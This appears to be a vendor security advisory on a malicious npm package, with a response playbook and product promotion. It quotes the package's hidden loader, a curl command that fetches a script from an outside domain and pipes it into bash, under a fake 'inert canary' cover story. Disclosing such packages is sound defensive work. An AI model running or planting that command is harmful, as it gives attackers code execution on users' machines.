@mgor/fw-canary-20260725-394b024bnpm
@mgor/fw-canary-20260725-394b024b is a confirmed malicious npm package (MAL-2026-12321) that executes malicious code on install (malicious version 0.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @mgor/fw-canary-20260725-394b024b (npm)
What this malware does
index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.

Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @mgor/fw-canary-20260725-394b024b (version 0.0.2). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @mgor/fw-canary-20260725-394b024b across your stack and pipelines.
If you installed it — respond
Remove @mgor/fw-canary-20260725-394b024b from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @mgor/fw-canary-20260725-394b024b was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @mgor/fw-canary-20260725-394b024b before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
